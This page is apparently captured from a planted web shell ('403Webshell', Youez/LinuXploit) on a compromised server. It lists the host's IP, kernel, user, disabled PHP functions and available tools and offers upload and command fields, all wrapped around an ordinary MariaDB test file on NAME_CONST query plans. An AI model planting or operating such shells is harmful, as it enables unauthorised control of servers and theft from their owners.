403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/name_const_replacement.test
#
# MDEV-33971 Using NAME_CONST() changes the plan
#

create table t1 (a int, b int);
insert into t1 values (1,1),(2,2);
explain format=json
select * from t1 where a=name_const('varname',1);
explain format=json
select * from t1 left join t1 as t2 on t1.a=name_const('varname',1) and t1.b=t2.b;


create table t2 (
  a varchar(100) collate utf8_unicode_ci,
  b int
);
insert into t2 values ('foo', 1),('bar', 1);
create procedure p1(var1 varchar(10))
  update t2 set b=b+1 where a=var1;
call p1('foo');
call p1('foo');
call p1('foo');
select * from t2;


create table t3 (
  a varchar(100) collate utf8_unicode_ci,
  b int
);
insert into t3 values ('foo', 1),('bar', 1);
select * from t3;
explain format=json
update t3 set b=b+1 where a= NAME_CONST('var1',_latin1'foo' COLLATE 'latin1_swedish_ci');
#
# enable after fixing MDEV-27904
#
--disable_view_protocol
select * from t3 where a= NAME_CONST('var1',_latin1'foo' COLLATE 'latin1_swedish_ci');
--enable_view_protocol

drop procedure p1;
drop table t1, t2, t3;

Youez - 2016 - github.com/yon3zu
LinuXploit